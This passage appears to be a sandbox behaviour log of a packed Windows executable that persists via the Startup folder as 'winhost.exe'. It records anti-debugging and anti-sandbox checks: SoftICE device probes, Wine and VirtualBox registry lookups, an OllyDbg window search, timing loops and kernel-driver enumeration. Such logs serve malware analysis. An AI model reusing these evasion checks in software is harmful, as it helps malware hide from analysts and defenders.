"private_0x0000000002620000" filename = "" Region: id = 3198 start_va = 0x2630000 end_va = 0x2630fff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 3199 start_va = 0x2640000 end_va = 0x2640fff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 3200 start_va = 0x2650000 end_va = 0x2650fff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 3201 start_va = 0x2660000 end_va = 0x2660fff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 3202 start_va = 0x2670000 end_va = 0x2670fff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 3203 start_va = 0x2680000 end_va = 0x2680fff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 3204 start_va = 0x2690000 end_va = 0x2690fff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 3205 start_va = 0x26a0000 end_va = 0x26a1fff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 3206 start_va = 0x26b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3207 start_va = 0x26c0000 end_va = 0x26c0fff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 3208 start_va = 0x26d0000 end_va = 0x26d0fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 3209 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3210 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3211 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3212 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3213 start_va = 0x26e0000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 3214 start_va = 0x736a0000 end_va = 0x7371ffff entry_point = 0x736a0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3215 start_va = 0x27e0000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 3216 start_va = 0x27e0000 end_va = 0x28befff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027e0000" filename = "" Region: id = 3217 start_va = 0x28d0000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 3218 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3219 start_va = 0x74b70000 end_va = 0x74b82fff entry_point = 0x74b70000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3220 start_va = 0x2910000 end_va = 0x2b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 3221 start_va = 0x2b20000 end_va = 0x344ffff entry_point = 0x2b20000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Thread: id = 83 os_tid = 0x564 [0259.480] VirtualAlloc (lpAddress=0x0, dwSize=0xd9c, flAllocationType=0x1000, flProtect=0x4) returned 0x20000 [0259.643] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0259.645] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x758a0000 [0259.669] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74fa0000 [0259.669] LoadLibraryA (lpLibFileName="NTDLL.dll") returned 0x77350000 [0259.670] GetLocalTime (in: lpSystemTime=0x61182b | out: lpSystemTime=0x61182b*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0xb, wMinute=0x38, wSecond=0x36, wMilliseconds=0x348)) [0259.673] CreateFileA (lpFileName="\\\\.\\SICE" (normalized: "sice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.675] CreateFileA (lpFileName="\\\\.\\SIWVID" (normalized: "siwvid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.720] CreateFileA (lpFileName="\\\\.\\NTICE" (normalized: "ntice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.722] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " [0259.725] GetVersionExA (in: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.725] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Wine", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0259.725] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0259.726] GetProcAddress (hModule=0x75590000, lpProcName="GetNativeSystemInfo") returned 0x755b10b5 [0259.726] GetNativeSystemInfo (in: lpSystemInfo=0x61f9b0 | out: lpSystemInfo=0x61f9b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0259.726] GetVersion () returned 0x1db10106 [0259.726] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74e40000 [0259.728] GetProcAddress (hModule=0x74e40000, lpProcName="timeGetTime") returned 0x74e426e0 [0259.728] timeGetTime () returned 0x4b9f [0259.728] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba0 [0259.729] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba1 [0259.730] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba2 [0259.731] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba3 [0259.732] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.733] timeGetTime () returned 0x4ba4 [0259.851] GetVersionExA (in: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.851] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.851] CloseHandle (hObject=0x0) returned 0 [0259.851] CloseHandle (hObject=0x0) returned 0 [0259.851] CloseHandle (hObject=0x0) returned 0 [0259.853] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x60 [0259.854] CloseHandle (hObject=0x60) returned 1 [0259.854] OutputDebugStringA (lpOutputString="\r\n\n\n%s------------------------------------------------\n\r--- Themida Professional ---\n\r--- (c)2012 Oreans Technologies ---\n\r------------------------------------------------\r\n\n\n") [0259.866] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0259.867] GetCurrentProcessId () returned 0x560 [0259.867] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77350000 [0259.867] GetProcAddress (hModule=0x77350000, lpProcName="NtOpenThread") returned 0x77371128 [0259.868] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74e40000 [0259.868] GetProcAddress (hModule=0x74e40000, lpProcName="timeGetTime") returned 0x74e426e0 [0259.868] timeGetTime () returned 0x4c26 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x68 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6c [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x70 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x74 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x78 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7c [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x80 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x84 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x88 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x8c [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x90 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x94 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x98 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9c [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa0 [0259.868] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa4 [0259.868] timeGetTime () returned 0x4c26 [0259.874] GetForegroundWindow () returned 0x10058 [0259.874] GetWindowTextA (in: hWnd=0x10058, lpString=0x669b94, nMaxCount=100 | out: lpString="Start") returned 5 [0259.880] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0259.880] RegQueryValueExA (in: hKey=0xa8, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x53, lpcbData=0x6740e7*=0x1e) returned 0x0 [0259.881] RegCloseKey (hKey=0xa8) returned 0x0 [0259.881] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0259.881] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0259.881] RegQueryValueExA (in: hKey=0xa8, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x200) returned 0x2 [0259.881] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0259.881] RegCloseKey (hKey=0xa8) returned 0x0 [0259.881] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0 [0259.881] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0 [0259.881] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0 [0259.881] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0xb0 [0259.925] Process32First (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.925] Process32Next (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.926] CloseHandle (hObject=0xb0) returned 1 [0259.926] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0259.926] CreateFileA (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x4, hTemplateFile=0x0) returned 0xb0 [0259.926] SetFilePointer (in: hFile=0xb0, lDistanceToMove=65224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfec8 [0259.926] ReadFile (in: hFile=0xb0, lpBuffer=0x67fa81, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x67faa1, lpOverlapped=0x0 | out: lpBuffer=0x67fa81*, lpNumberOfBytesRead=0x67faa1*=0x20, lpOverlapped=0x0) returned 1 [0259.926] CloseHandle (hObject=0xb0) returned 1 [0259.926] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18ff30, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18ff30, ReturnLength=0x0) returned 0x0 [0259.927] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0259.927] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.927] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.927] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x240000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x240000, ResultLength=0x0) returned 0x0 [0259.928] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0259.931] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0259.931] lstrcmpiA (lpString1="ntice.sys", lpString2="kdcom.dll") returned 1 [0259.932] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0259.932] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0259.933] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0259.933] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0259.933] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0259.933] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="atapi.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="ataport.SYS") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="msahci.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="amdxata.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="fltmgr.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="Ntfs.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0259.934] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0259.934] lstrcmpiA 